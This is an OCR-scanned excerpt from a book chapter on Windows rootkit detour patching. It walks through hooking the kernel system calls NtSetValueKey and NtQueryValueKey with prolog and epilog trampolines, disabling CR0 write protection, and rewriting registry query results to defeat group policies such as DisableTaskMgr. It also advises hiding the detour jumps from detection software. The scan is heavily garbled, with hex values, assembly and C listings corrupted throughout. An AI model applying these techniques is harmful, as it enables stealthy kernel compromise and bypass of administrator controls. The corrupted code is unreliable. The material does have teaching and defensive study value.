je SHORT $LN2@nain -+ 8x74 8x24 -+ 8x98 8x98 -+ NOP NOP
Each NOP statement is a single byte in size, encoded as 8x90, and does nothing (i.e., NOP as in "No OPeration"). In the parlance of assembly code, the resulting program logic would look like:
cmp
nop
nop
Using this technique, the size of the routine remains unchanged. This is important because the memory in the vicinity of the routine tends to store instructions for other routines. If our routine grows in size it may overwrite another routine and cause the machine to crash.
Detour Patching
The previous "in-place" technique isn't very flexible because it limits what we can do. Specifically, if we patch a snippet of code consisting of ten bytes, we're constrained to replace it with a set of instructions that consumes at most ten bytes. In the absence of jump statements, there's only so much you can do in the space of ten bytes ... Another way to patch an application is to inject a jump statement that reroutes program control to a dedicated rootkit procedure that you've handcrafted as a sort of programmatic bypass. This way, you're not limited by the
Part"
I 341
size of the instructions that you replace. You can do whatever you need to do (e.g., intercept input parameters, filter output parameters, etc.) and then yield program control back to the original routine. This technique is known as detour patching because you're forcing the processor to take a detour through your code. In the most general sense, a detour patch is implemented by introducing a jump statement of some sort into the target routine. When the executing thread hits this jump statement it's transferred to a detour routine of your own creation (see Figure 6-1).
Before Target
High
Memory
Trampoline
Low Memory
Figure 6-1 Given that the initial jump statement supplants a certain amount of code when it's inserted, and given that we don't want to interfere with the normal flow of execution if at all possible, at the end of our detour function we execute the instructions that we replaced (i.e., the "original code" in Figure 6-1) and then jump back to the target routine. The original snippet of code from the target routine that we relocated, in conjunction with the jump statement that returns us to the target routine, is known as a trampoline. The basic idea is that once your detour has run its course, the trampoline allows you to spring back to the address that lies just beyond your patch. In other words, you execute the code that you replaced
342/ Par' II
(to gain inertia) and then use the resulting inertia to bounce back to the scene of the crime, so to speak. Using this technique you can arbitrarily interrupt the flow of any operation. In extreme cases, you can even patch a routine that itself is patching another routine; which is to say that you can subvert what Microsoft refers to as a "hot patch." You can place a detour wherever you want. The deeper they are in the routine, the harder they are to detect. However, you should make a mental note that the deeper you place a detour patch, the greater the risk that some calls to the target routine may not execute the detour. In other words, if you're not careful, you may end up putting the detour in the body of a conditional statement that only gets traversed part of the time. This can lead to erratic behavior and system instability. The approach that I'm going to examine in this chapter involves inserting two different detours when patching a system call (see Figure 6-2): A prolog detour
An epilog detour
Target Epilog Detour
Original
High
Memory
Code
Detour
Trampoline
Code
Prolog Detour
Trampoline
Detour
Low Memory
Code
Figure 6-2 A prolog detour allows you to preprocess input destined for the target routine. Typically, I'll use a prolog detour to block calls or intercept input parameters (as a way of sniffing data). An epilogue detour allows for postprocessing. They're useful for filtering output parameters once the original Port II
1343
routine has performed its duties. Having both types of detours in place affords you the most options in terms of what you can do. Looking at Figure 6-2, you may be wondering why there's no jump at the end of the epilog detour. This is because the code we supplanted resides at the end of the routine and most likely contains a return statement. There's no need to place an explicit jump in the trampoline because the original code has its own built-in return mechanism. Bear in mind that this built-in return statement guides program control to the routine that invoked the target routine; unlike the first trampoline, it doesn't return program control to the target routine.
>
Note: The scheme that I've described above assumes that the target
routine has only a single return statement (located at the end of the routine). Every time you implement detour patching, you should disassemble the target routine to ensure that this is the case and be prepared to make accommodations in the event that it is not.
Detour Jumps
There are a number of ways that you can execute a jump in machine code; the options available range from overt to devious. For the sake of illustration, let's assume that we're operating in protected mode and interested in making a near jump to code residing at linear address (3xCAFEBABE. One way to get to this address is to simply perform a near JMP.
MOV EBX, 0xCAFEBABE JMP [EBX)
We could also use a near CALL to the same effect, with the added side effect of having a return address pushed onto the stack.
MOV EBX, 0xCAFEBABE CALL [EBX)
Venturing into less obvious techniques, we could jump to this address by pushing it onto the stack and then issuing a RET statement.
PUSH 0xCAFEBABE
RET
If you weren't averse to a little extra work, you could also hook an IDT entry to point to the code at (3xCAFEBABE and then simply issue an interrupt to jump to this address.
344
Part II
INT 0x33
Using a method that clearly resides in the domain of obfuscation, it's conceivable that we could intentionally generate an exception (e.g., divide by zero, overflow, etc.) and then hook the exception-handling code so that it invokes the procedure at address 0xCAFEBABE. This tactic is actually used by Microsoft to mask functionality implemented by kernel patch protection. Table 61
Statem ent
MOV EBX,0xcafebabe; JMP [EBX] MOV EBX,0xcafebabe; CALL [EBX]
H Encoding ex
BB BE BA FE CA FF 23 BB BE BA FE CA FF 13 68 BE BA FE CA C3 CD 33
# of B ytes
7 7
6
2
Varies
Exception
Varies
So we have all these different ways to transfer program control to our detour patch. Which one should we use? In terms of answering this question, there are a couple of factors to consider: Footprint Ease of detection
The less code we need to relocate, the easier it will be to implement a detour patch. Thus, the footprint of a detour jump (in terms of the number of bytes required) is an important issue. Furthermore, rootkit detection software will often scan the first few bytes of a routine for a jump statement to catch detour patches. Thus, for the sake of remaining inconspicuous, it helps if we can make our detour jumps look like something other than a jump. This leaves us with a noticeable tradeoff between the effort we put into camouflaging the jump and the protection we achieve against being discovered. Jump statements are easily implemented but also easy to spot. Transferring program control using faux exceptions involves a ton of extra work but is more difficult to ferret out. In the interest of keeping my examples relatively straightforward, I'm going to opt to take the middle ground and use the RET statement to perform detour jumps.
Part II
1345
>
The ZwSetValueKey() system call is used to create or replace a value entry in a given registry key. Its declaration looks like:
NTSYSAPI NTSTATUS NTAPI ZwSetValueKey
(
HANDLE KeyHandle, PUNICODE_STRING ValueName, ULONG TitleIndex, ULONG Type, PVOID Data, ULONG DataSize
);
//Handle to key (created by ZwCreateKey/ZwOpenKey) //Pointer to the name of the value entry //Set to zero for KMDs //REG_BINARY, REG_DWORD, REG_SZ, etc. //Pointer to buffer containing data for value entry //Size, in bytes, of the Data buffer above
We can disassemble this system call's Nt* () counterpart using a kernel debugger to get a look at the instructions that reside near its beginning and end.
0: kd> uf ntlNtSetValueKey ntlNtSetValueKey: push 81c38960 688OOEIEI0OO 81c38965 688864ab81 push 81c3896a e859ace6ff call 81c3896f 33d2 xor 81c38971 668955b4 mov 81c38975 33c0 xor 81c38cd4 81c38cd6 81c38cdb 81c38cde 81c38cdf 81c38ce0 81c38ce1 81c38ce2 8bc7 e832age6ff c21800 90 90 90 90 90 mov call ret
nop nop nop nop nop
80h offset ntl ?? : : FtaXlBFM: :' string'+eJ<8298 (81ab6488) ntl_SEHjprolog4 (81aa35c8) edx,edx word ptr [ebp-4Ch],dx eax,eax eax,edi ntl_SEH_epilog4 (81aa360d) 18h
3461 Part II
The most straightforward application of detour technology would involve inserting detour jumps at the very beginning and end of this system call (see Figure 6-3).
nt ! NtSetValueKe
. string'+0x8298
XO I"
edx,edx
wor'd ptr [ebp-4ChLdx
dword ptr [ebp-24hLes i nt WtSetVa l ueKey+0x36a ( 81 c38cd4 ) e si dword ptr [obp-24hl nt !ExFreePooIWlth Tag ( 81b3de8d ) eax,edi nt !_S EH_ep ilog4 ( 81aa 360d )
h
RET
Figure 6-3
If you look at the beginning and end of NtSetValueKey ( ), you should notice two routines: _SEH_prolog4 and _SEH_epilog4. A cursory disassembly of these routines seems to indicate some sort of stack fra me maintenance. In _SEH_prolog4, in particular, there's a reference to a nt ' _ security_cookie variable. This was added to protect against buffer overflow attacks (see the documentation for the /GS compiler option).l
9: kd> uf nt!_SEH-prolog4 nt! _SEH-prolog4 : 81aa3Sc8 68f97ba881 push 81aa35cd 64ff3seaeeaeea push 81aa35d4 8b442419 mov 81aa3Sd8 896c2419 mov 81aa35dc 8d6c2419 lea 81aa35e0 2bee sub 81aa35e2 53 push push 81aa35e3 56 push 81aa35e4 57
81aa35e5 a13987b481 mav
offset nt! _except_handler4 (81a87bf9) dword ptr fs : [9] eax,dword ptr [esp+19h] dword ptr [esp+19h],ebp ebp,[esp+19h] esp, eax ebx esi edi
eax , dward ptr [nt' __ securlty_caakle (81b48739)]
81aa35ea 3145fc
xor
Microsoft Corporation, "Compi ler Security Checks: The /GS Compi ler Switch," Knowledge Base Article 325483, August 9, 2004.
Part II
1347
II
81aa35ed 81aa35ef 81aa35fe 81aa35f3 81aa35f6 81aa35f9 81aa3600 81aa3603 81aa36B6 81aa360c
xor push mov push mov mov mov lea mov ret
eax,ebp eax dword ptr [ebp-18h),esp dword ptr [ebp-8) eax,dword ptr [ebp-4) dword ptr [ebp-4),eFFFFFFFEh dword ptr [ebp-8),eax eax,[ebp-leh) dword ptr fs:[eeeeeeeeh),eax
Now let's take a closer look at the detour jumps. Our detour jumps (which use the RET instruction) require at least 6 bytes. We can insert a prolog detour jump by supplanting the routine's first two instructions. With regard to inserting the prolog detour jump, there are two issues that come to light: The original instructions and the detour jump are not the same size (10 bytes vs. 6 bytes). The original instructions contain a dynamic value determined at run time
(ex81ab6488) .
We can address the first issue by padding our detour patch with single-byte
NOP instructions (see Figure 6-4). This works as long as the code we're
replacing is greater than or equal to 6 bytes. To address the second issue, we'll need to store the dynamic value at run time and then insert it into our trampoline when we stage the detour. This isn't really that earth-shaking, it just means we'll need to do more bookkeeping.
PUSH ex68 ex8e 8eH PUSH exoo ex68 ex88
81ab6488H
I I I
exoo exoo
0x64
0xab
ex81
Before After
PUSH ex68
RE T exC3
NOP exge
NOP 0x90
NP O 0xge
NP O 0x90
I 1
0xAB
0xFE l excA
Figure 6-4
One more thing: If you look at the prolog detour jump in Figure 6-4, you'll see that the address being pushed on the stack is ex CAFEBABE . Obviously there's no way we can guarantee our detour routine will reside at this location. This value is nothing more than a temporary placeholder. We'll need to perform a fix-up at run time to set this D WORD to the actual address of the detour routine. Again, the hardest part of this issue is recognizing that it exists and remembering to amend it at run time.
348 1 Partll
We can insert an epilog detour jump by supplanting the last instruction of NtSetValueKey() . Notice how the system call disassembly is buffered by a series of NOP instructions at the end (see Figure 6-5). This is very convenient because it allows us to keep our footprint in the body of the system call to a bare minimum. We can overwrite the very last instruction (RET ex18) and then simply allow our detour patch to spill over into the NOP instructions that follow.
RET exC2 18H ex 18 NOP exge NOP e xge NOP exge
I I
exee
Before After
RET Detour ad d resses are set at exAB ex FE exCA exo Run tim e v ia
PUSH ex68
In i t Pat c h Code ( )
Figure 65
As with the prolog detour jump, an address fix-up is required in the epilog detour jump. As before, we take the placeholder address (exCAFEBABE) and replace it with the address of our detour function at run time while we're staging the detour. No big deal. In its original state, before the two detour patches have been inserted, the code that calls ZwSetValueKey() will push its arguments onto the stack from right to left and then issue the CALL instruction. This is in line with the _stdcall calling convention, which is the default for this sort of system call. The ZwSetValueKey () routine will, in turn, invoke its Nt * () equivalent and the body of the system call will be executed. So, for all intents and purposes, it's as ifthe invoking code had called NtSetValueKey() . The system call will do whatever it's intended to do, stick its return value in the EAX register, clean up the stack, and then pass program control back to the original invoking routine. This chain of events is depicted in Figure 6-6. Once the prolog and epilog detour patches have been injected, the setup in Figure 6-6 transforms into that displayed in Figure 6-7. From the standpoint of the invoking code, nothing changes. The invoking code sets up its stack and accesses the return value in EAX just like it always does. The changes are instituted behind the scenes in the body of the system call.
Po rt II
I 349
Invoking Code
mov EAX,
NtSetValueKey
push 80H push 81ab6488H call ntl_Sf H_prolog4
I
Data Size
push fAX mov EAX, Da ta push fAX mav EAX, Type push fAX mav EAX, Titlelndex push fAX
mav EAX, Value Name
xor edx,edx
Figure 6-6
PrologDetour
Invoking Code
mov EAX, push f AX mav EAX, push EAX rnov EAX, push EAX mav EAX, push EAX ma v EAX, push f AX mav EAX, push EAX DataSize
Da ta
TVpe
Titlelndex
Value Name
KeyHa ndle
moveax, edi
EpilogDetour
call nt !_SEH_epilog4
; post-processing code
; (filter return parameters)
, TRAMPOLINE -- - -- .
, supplanted code----ret 1SH
.Figure 6-7
When the executing thread starts making its way through the system call instructions, it encounters the prolog detour jump and ends up executing the code implemented by the prolog detour. When the detour is done, the prolog detour's trampoline is executed and program control returns to the system call.
350 I Par t II
Likewise, at the end of the system call, the executing thread will hit the epilog detour jump and be forced into the body of the epilog detour. Once the epilog detour has done its thing, the epilog trampoline will route program control back to the original invoking code. This happens because the epilog detour jump is situated at the end of the system call. There's no need to return to the system call because there's no more code left in the system call to execute. The code that the epilog detour jump supplanted (RET ex18, a return statement that cleans the stack and wipes away all of the system call parameters) does everything that we need it to, so we just execute it and that's that.
Detour Implementation
Now let's wade into the actual implementation. To do so, we'll start with a bird's-eye view and then drill our way down into the details. The detour patch is installed in the DriverEntry() routine and then removed in the KMD's Unload () function . From 10,000 feet, I start by verifying that I'm patching the correct system call. Then I save the code that I'm going to patch, perform the address fix-ups I discussed earlier, and inject the detour patches. Go ahead and peruse through the following code. If something is unclear, don't worry. I'll dissect this code line by line shortly. For now, just try to get a general idea in your own mind how events unfold. If there's a point that's still unclear, even after my analysis, the complete listing for this KMD is provided in the appendix.
NTSTATUS DriverEntry
(
= Unload;
= VerifySignature
Part II
1351
if{ntStatusI =STATUS_SUCCESS)
{
GetExistingBytes
(
GetExistingBytes
(
InitPatchCode
(
disableWP_cReo i irql = RaiseIRQL()i dpcptr = AcquireLock()i fixupNtSetValueKey(&patchInfo)i InsertDetour patchInfo.SystemCall, patchInfo.PrologPatch, patchInfo.SizePrologPatch, patchInfo.PrologPatchOffset
)i
ReleaseLock{dpcptr)i LowerIRQL(irql) i
352
Po rt II
KIRQL irql; PKDPC dpcptr; disableWP_CR0( ) ; irql = RaiseIRQL(); dpcptr = AcquireLock(); InsertDetour patchInfo.SystemCall, patchInfo.PrologDriginal, patchInfo.SizePrologPatch, patchInfo.PrologPatchOffset
);
Let's begin our in-depth analysis of DriverEntry() . In a nutshell, these are the steps that the DriverEntry() routine performs:
1.
Acquire the address of the NtSetValueKey() routine. Initialize the patch metadata structure with all known static values. Verify the machine code of NtSetValueKey() against a known signature. Save the original prolog and epilog code of NtSetValueKey() . Update the patch metadata structure to reflect current run-time values. Lock access to NtSetValueKey() and disable write protection. Inject the detours. Release the lock and enable write protection.
2. 3. 4. 5. 6. 7. 8.
Part II 1353
II
DWORD indexValue; DWORD *systemCallTable; systemCallTable = (DWORD*)KeServiceDescriptorTable.KiServiceTable; indexV alue = getSSDTlndex(address); return(systemCallTable[indexValue); }/*end NtRoutineAddress()-- ---------- --------------------------- -- ---------*/
Though the Zw* () stub routines do not implement their corresponding system calls, they do contain the index to their Nt* () counterparts in the SSDT. Thus, we can scan the machine code that makes up a Zw* () routine to locate the index of its N * () sibling in the SSDT and thus acquire the address of the t associated Nt* () routine. Again, this whole process was covered already in the previous chapter.
354 I Port II
128 32
limaximum size of a Nt*() signature (in bytes) limaximum size of a detour patch (in bytes)
BYTE* SystemCall; BYTE Signature[SZ_SIG_MAX]; DWORD SignatureSize; BYTE* PrologDetour; BYTE* EpilogDetour; BYTE PrologPatch[SZ_PATCH_MAX]; BYTE PrologOriginal[SZ_PATCH_MAX]; DWORO SizePrologPatch; DWORO PrologPatchOffset; BYTE EpilogPatch[SZ_PATCH_MAX]; BYTE EpilogOriginal[SZ_PATCH_MAX]; DWORO SizeEpilogPatch; DWORD EpilogPatchOffset;
Iladdress of routine being patched Ilbyte-signature for sanity check Ilactual size of signature (in bytes) Iladdress of prolog detour Iladdress of epilog detour
Iljump instructions to prolog detour Ilbytes supplanted by prolog patch II(in bytes) II relative location of prolog patch Iljump instructions to epilog detour Ilbytes supplanted by epilog patch II(in bytes) II relative location of epilog patch
Many of these fields contain static data that doesn't change. In fact the only two fields that are modified are the PrologPatch and EpilogPatch byte arrays, which require address fix-ups. Everything else can be initialized once and left alone. That's what the Ini tPatchInfo_ * () routine does. It takes all of the fields in PATCH_INFO and sets them up for a specific system call. In the parlance of C+ +, InitPatchInfo_ *() is a constructor (in a very crude sense).
void InitPatchInfo_NtSetValueKey(PATCH_INFO* pInfo)
{
IISystem Call Signature-- ----------------- ----(*pInfo) .SignatureSize=6; (*pInfo).Signature[9]=9x68; (*pInfo).Signature[1]=9x89; (*pInfo).Signature[2]=9x99; (*pInfo).Signature[3]=9x99; (*pInfo).Signature[4]=9x99; (*pInfo).Signature[S]=9x68;
llDetour Routine Addresses- - --- -- --- -- -- --- - --(*pInfo).PrologDetour = Prol0K-NtSetValueKey; (*pInfo).EpilogDetour = Epil0K-NtSetValueKey;
llPUSH imm32
Po rt II
I 355
//Epilog Detour Jump-- ----------- -------------{*plnfo).SizeEpilogPatch=6; {*plnfo).EpilogPatch[0]=0x68; {*plnfo).EpilogPatch[1]=0xBE; {*plnfo).EpilogPatch[2]=0xBA; {*plnfo).EpilogPatch[3]=0xFE; {*plnfo).EpilogPatch[4]=0xCA; {*plnfo).EpilogPatch[S]=0xC3; (*plnfo).EpilogPatchOffset=891; return; }/*InitPatchlnfo_NtSetValueKey{)-------------------------- -------- ---------*/ //PUSH imm32
//RET
if{fptr[i]!=signature[i])
{
356
Po rt II
//address of the system call //buffer that receives bytes that will be displaced //size of displaced bytes //relative location of displaced bytes
To make these jumps valid, we need to take the bytes that make up the exCAFEBABE address and set them to the address of a live detour routine.
[68) [BE) [SA) [FE) [CA) [C3) :~ fix this ~:
That's the goal of the Ini tPatchCode() function. It activates our detour patch jump code, making it legitimate.
void InitPatchCode BYTE* newRoutine, BYTE* patchCode
)
Po rt II
I 357
II
To attain exclusive access to the memory containing the NtSetValueKey() routine, we can use code from the IRQL project discussed in Chapter 4 (see the appendix for a complete listing). In a nutshell, what this boils down to is a clever manipulation of IRQ levels in conjunction with DPCs to keep other threads from crashing the party. To disable write protection, we use the CRe trick presented in the last chapter when we discussed hooking the SSDT. To remove the lock on NtSetValueKey() and re-enable write protection we use the same basic technology. Thus, in both cases we can recycle solutions presented earlier.
358
Po r' II
Looking at the code in DriverEntry() , you might notice a mysteriouslooking call to a function named fixupNtSetValueKey(). I'm going to explain the presence of this function call very shortly.
>I
Note: The Unload() routine uses the same bosic technology as the Drive rEn try () routine to restore the machine to its original state . We
covered enough ground onalyzing the code in DriverEntry() that you should easily be able understand what's going on .
__declspec(naked) Prol0K-NtSetValueKey() {
CALL displayMsg
Pa rt II
I 359
/ /Trampoline- - --- -- -- --- -- --- -- --- -- - ---- -- --- -- -- --- - --- -- --- -- -- --- -- -_asm PUSH 9xS9 PUSH [Fixup_Tramp_NtSetValueKey)
There are actually a couple of ways I could have solved this problem. For example, I could have left placeholder values hard-coded in the prolog detour:
Then, at run time, I could parse the prolog detour and patch these values. This is sort of a messy solution. It's bad enough you're patching someone else's code, much less your own. As an alternative, I decided on much simpler solution; one that doesn't require me to parse my own routines looking for a magic signatures like 13x11223344 or 13xBBAABBAA. My solution uses two global variables that are referenced as indirect memory operands in the assembly code. These global values are initialized by the fixupNtSetValueKey() function. The first global variable, named Fixup_Tramp_NtSetValueKey, stores a dynamic value that existed in the code that we supplanted in the system call. The second global, named Fixup_Remainder_NtSetValueKey, is the address of the instruction that follows our prolog detour jump in the system call.
void fixupNtSetValueKey(PATCH_INFO* plnfo)
{
Fixup_Tramp_NtSetValueKey = *DWORO*)&*plnfo).PrologOriginal[6)); Fixup_Remainder_NtSetValueKey = DWORO)( *plnfo).SystemCall)+ (*plnfo).SizePrologPatch; DBG_PRINT2("[fixupNtSetValueKey): %08x",Fixup_Tramp_NtSetValueKey); DBG_PRINT2(" [fixupNtSetValueKey): %eSx", Fixup_Remainder_NtSetValueKey);
360
Pc rt II
NTSTATUS retValue; retValue = OriginaIRoutine(arg1, ... , argN); /0 Filter output arguments here 0/ return(retValue);
With hooking, you can access output parameters by name. We cannot take this approach in the case of detour patching because our detours are literally part of the system call. If we tried to invoke the system call in our detour routine, as the previous hook routine does, we'd end up in an infinite loop and crash the machine! Recall that the end of the NtSetValueKey() system looks like:
ntINtSetValueKey+ex36a: 81c3acd4 8bc7 81c3acd6 e832age6ff 81c3acdb c21890 mav call ret eax,edi ntl_SEH_epilog4 (81aaS69d) 18h
Looking at the code to _SEH_epilog4 (which is part of the buffer overflow protection scheme Microsoft has implemented), we can see that the EBP register has already been popped off the stack and is no longer a valid pointer. Given the next instruction in the routine is RET ex18, we can assume that a return address is, when the instruction is executed, at the top of stack eTOS).
kd> uf ntl_SEH_epilog4 ntl_SEH_epilog4: 81aa569d 8b4dfa 81aa5619 64I!99<:Ieeeeee 81aa5617 59 81aa5618 Sf 81aa5619 Sf 81aa561a 5e
ecx,dword ptr [ebp-19h) dword ptr fs:[9),ecx ecx edi edi esi
Part II
1361
pop
mov
pop push ret
Thus, the state of the stack, just before the RET axlS instruction, is depicted in Figure 6-8.
ESP+24 ESP+20 ESP+16 ESP+12 ESP+8 ESP+4 TOS=ESP DataSize Data Type Titlelndex ValueName KeyHandle Return Add r ess mov push mov push mov push mov push mov push mov push call ecx DI'VORD PTR _DataSlZeS[ebp] ecx edx DWORD PTR _DataS[ebp] edx eax, DWORD PTR _TypeS[ebp] eax ecx, DWORD PTR _TitletndexS[ ebp] ecx edx DWORD PTR _ValueNameS[ebp] edx eax, DWORD PTR _KeyHandleS[ebp J eax DWORD PTR _NtSetValueKey DWORD PTR _ntStatusS[ebpJ, eax
_stdcall convention : Parameters pushed last to first Callee cleans the stack Return value passed in EAX
Figure 6-8
The TOS points to the return address (i.e., the address of the routine that originally invoked NtSetValueKey( The system call's return address is stored in the EAX register and the remainder of the stack frame is dedicated to arguments we passed to the system call. According to the _stdcall convention, these arguments are pushed from right to left (using the system call's formal decIaration to define the official order of arguments). We can verify this by examining the assembly code of a call to NtSetValueKey() :
mov
push
mov
push
ecx, DWORD PTR _DataSize$[ebp] ecx edx, DWORD PTR _Data$[ebp] edx eax, DWORD PTR _Type$[ebp]
mov
3621 Part II
eax ecx, DWORD PTR _Titlelndex$[ebp] ecx edx, DWORD PTR _ValueName$[ebp] edx eax, DWORD PTR _KeyHandle$[ebp] eax DWORD PTR _oldNtSetValueKey DWORD PTR _ntStatus$[ebp], eax
Thus, in my epilog detour I access system call parameters by referencing the ESP explicitly (not the EBP register, which has been lost). I save these parameter values in global variables, which I then use elsewhere.
//System Call Return Value and Parameters DWORD RetValue_NtSetValueKey; //EAX register DWORD DWORD DWORD DWORD DWORD KeyHandle_NtSetValueKey; ValueName_NtSetValueKey; Type_NtSetValueKey; Data_NtSetValueKey; DataSize_NtSetValueKey; //[ebp+4] / /[ebp+8] / /[ebp+16] //[ebp+2e] //[ebp+24]
__declspec(naked) Epilo&-NtSetValueKey()
{
MOV RetValue_NtSetValueKey,EAX MOV EAX, [ESP+8] MOV ValueName_NtSetValueKey,EAX MOV EAX,[ESP+16] MOV Type_NtSetValueKey,EAX MOV EAX,[ESP+2e] MOV Data_NtSetValueKey,EAX CAll FilterParameters
/ /Trampoline- - -- --- --- -- -- --- -- -- -- -- --- -- -- ---- - ---- - -- ---- --- --- - --- --/*
execute supplanted code 81c38cdb c21800 ret nap 81c38cde 90 nap 81c38cdf 90 81c38ce0 90 nap */
18h
Po rt II
I 363
II
The Fil terParameters () function is called from the detour. It prints out a debug message that describes the call and its parameters. Nothing gets modifi ed. This routine is strictly a voyeur.
void FilterParameters()
{
ANSI_STRING NTSTATUS
ansiString; ntStatus;
if(NT_SUCCESS (ntStatus
{
case(REG_BINARY):{DBG_PRINT1(" \ t\tType==REG_BINARY\n");}break; case(REG_DhORD) :{DBG_PRINT1("\t\ tType==REG_DhORD\n");}break; case( REG_EXPAND_SZ):{DBG_PRINT1("\t\tType==REG_EXPAND_SZ\n");}break; case(REG_LINK):{DBG_PRINT1("\t \ tType==REG_LINK\n");}break; case(REG_M.JLTI_SZ):{DBG_PRINT1("\t\tType==REG_M.JLTI_SZ\n");}break; case(REG_NONE) :{DBG]RINT1("\t\tType==REG_NONE\n");}break; case(REG_RESOURCE_LIST):
{
364 1 ParI II
};
Post-Game Wrap-Up
There you have it. Using this technique you can modify any routine that you wish and cause all sorts of havoc! The real work, then, is finding routines to patch and deciding how to patch them. Don't underestimate the significance of the previous sentence. Every attack has its own particular facets that will require homework on your part. I've given you the safecracking tools, you need to go out and find the vault for yourself. As stated earlier, the only vulnerability of this routine lies in the fact that the White Hats and their ilk can scan for unexpected jump instructions. To make life more difficult for them, you can nest your detour jumps deeper into the routines or perhaps obfuscate your jumps to look like something else.
IN HANDLE KeyHandle, IN PUNICOOE_STRING ValueName, IN KEY_VALUE_INFDRMATIDN_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength
);
In this example, most of our attention will be focused on the epilog detour, where we wi ll modify thi routine's output parameters (i.e., KeyValuelnformation) by filtering calls for certain value names. We can disassemble this system call's Nt * () counterpart using a kernel debugger to get a look at the instructions that reside near its beginning and end.
kd > uf ntlNtQueryValueKey ntlNtQueryValueKey: 81c0baSb 6a70 push
70h
Port II
1365
8lc9ba5d 68a8c4a68l 81c9ba62 e86ldbe4ff 8lc9ba67 33db 8lc9bd98 81c9bd99 8lc9bd9b 81c9bd9d 81c9bd9f 81cabda4 81cabda7 8lc9bda8 81c9bda9 81c9bdaa 51 6al9 ffd9 8bc6 e869d8e4ff c21800 99 99 99 99
offset nt! ?? :: FNOOOBFM: :' stri ng'+0x82b8 (81a6c4a8 ) nt! _SEH-prolog4 (8la595c8) ebx,ebx ecx 19h eax eax,esi nt !_SEH_epilog4 (81a5969d) 18h
mov
call ret nop nop nop nop
The first two statements of the routine are PUSH instructions, which take up 7 bytes. We can pad our prolog jump with a single Nap to replace these bytes (see Figure 6-9). As in the first example, the second PUSH instruction contains a dynamic value set at run time that we'll need to make adjustment for. We'll handle this as we did earlier.
PUSH 0x6A 70H 0x70 PUSH 0x68
8IABC4A8H
Before After
PUSH 0x68
RET 0xC3
NOP 0x90
Figure 6-9
In terms of patching the system call with an epilog jump, we face the same basic situation that we did earlier. The end of the system call is padded with Naps, and this allows us to supplant the very last 3 bytes of the routine and then spill over into the Naps (see Figure 6-10).
RET 0xC2 18H 0x18 I 0xOO NOP 0x90 NOP 0x90 NOP 0x90
Before After
PUSH 0x68
RET 0xC3
I 0xFE
I 0xCA
Figure 610
3661 Port II
Detour Implementation
Now, once again, let's wade into the implementation. Many things that we need to do are almost a verbatim repeat of what we did before (the DriverEntry() and Unload() routines for this example and the previous example are identical):
1.
Acquire the address of the NtQueryValueKey() routine. Verify the machine code of NtQueryValueKey () against a known signature. Save the original prolog and epilog code of NtQueryValueKey() . Update the patch metadata structure to reflect run-time values. Lock access to NtQueryValueKey() and disable write protection. Inject the detours. Release the lock and enable write protection.
2. 3. 4. 5. 6. 7.
I'm not going to discuss these operations any further. Instead, I want to focus on areas where problem-specific details arise. Specifically, I'm talking about: Initializing the patch metadata structure with known static values Implementing the epilog detour routine
For a complete listing, see GPODetour in the appendix .
> Note:
//System Call Signature-----------------------(*plnfo).SignatureSize=3; (*plnfo).Signature[e]=0x6a; (*plnfo).Signature[1]=ex7e; (*plnfo).Signature[2]=ex68; //Detour Routine Addresses--------------------(*plnfo).PrologDetour = Prol0K-NtQueryValueKey; (*plnfo).EpilogDetour = Epil0K-NtQueryValueKey; //Prolog Detour Jump------------------------ --(*plnfo).SizePrologPatch=7;
Port"
1367
llPUSH imm32
IIRET llNOP
IIEpilog Detour Jump--------------- - ----------(*plnfo).SizeEpilogPatch=6j (*plnfo).EpilogPatch[e]=ex68j (*plnfo).EpilogPatch[l]=exBEj (*plnfo).EpilogPatch[2]=exBAj (*plnfo).EpilogPatch[3]=exFEj (*plnfo).EpilogPatch[4]=exCAj (*plnfo).EpilogPatch[5]=exC3j (*plnfo).EpilogPatchOffset=841j returnj }/*InitPatchlnfo_NtSetValueKey()----------------------- --------------------*1
lIpuSH imm32
IIRET
368
Part II
OUT parameters
Figure 6-11
As in the previous example, we'll store the system call return value and parameters in global variables.
DWORD
Iisystem Call Parameters II[ esp+04]HAN)LE KeyHandle_NtQueryValueKeYi ValueName_NtQueryValueKeYj II [esp+08]PUNICOOE_sTRING KeyValueInfonmationClass_NtQueryValueKeYj II[esp+12]KEY_VALUE_ II INFORMATION_CLASS DWORD KeyValueInfonmation_NtQueryValueKeYj II[esp+16]MID II [esp+20]ULONG DWORD Length_NtQueryValueKeYj DWORD ResultLength_NtQueryValueKeYj II [esp+24]PULONG
DWORD DWORD DWORD
To maintain the sanctity of the stack, our epilog detour is a naked function. The epilog detour starts by saving the system call's return value and parameters so that we can manipulate them easily in other subroutines. Notice how we reference them using the ESP register instead of the ESP register. This is because, at the time we make the jump to the epilog detour, we're so close to the end of the routine that the ESP register no longer references the TOS. Once we have our hands on the system call's parameters we can invoke the routine that filters registry values. After the appropriate output parameters have been adjusted, we can execute the trampoline and be done with it.
Po rt II
I 369
__declspec(naked) EpiloR-NtQueryValueKey()
{
//save return value and execute our our code-------------- ------ --------__asm MOV RetValue_NtQueryValueKey,EAX MOV EAX, [ESP-t4] MOV KeyHandle_NtQueryValueKey,EAX MOV EAX, [ESP+8] MOV ValueName_NtQueryValueKey,EAX MOV EAX,[ESP+12] MOV KeyValuelnformationClass_NtQueryValueKey,EAX MOV EAX,[ESP+16] MOV KeyValuelnformation_NtQueryValueKey,EAX MOV EAX,[ESP+20] MOV Length_NtQueryValueKey,EAX MOV EAX,[ESP+24] MOV ResultLength_NtQueryValueKeY,EAX CALL FilterParameters
The FilterParameters routine filters out three registry values for special treatment:
NoChangingWallPaper DisableTaskMgr NoControlPanel
The NoChangingWallPaper registry value controls whether or not we're allowed to change the desktop's wallpaper. It corresponds to the "Prevent changing wallpaper" policy located in the following group policy node: User Configuration
370
Port II
HKCU\Software\Microsoft\Windows\CurrentVersion\Policie5\ ActiveDesktop\ The DisableTaskMgr registry value disables the Task Manager when it's set. It corresponds to the "Remove Task Manager" policy located in the following group policy node: User Configuration I Administrative Templates Ctrl + Alt + Del Options
I System I
In the registry, this value is located under the following key: HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ The NoControlPanel registry value hides the control panel when it's set. It corresponds to the "Prohibit Access to Control Panel" policy located in the following group policy node: User Configuration
In the registry, this value is located under the following key: HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ You can test whether or not this policy is enabled by issuing the following command:
C:\>control panel
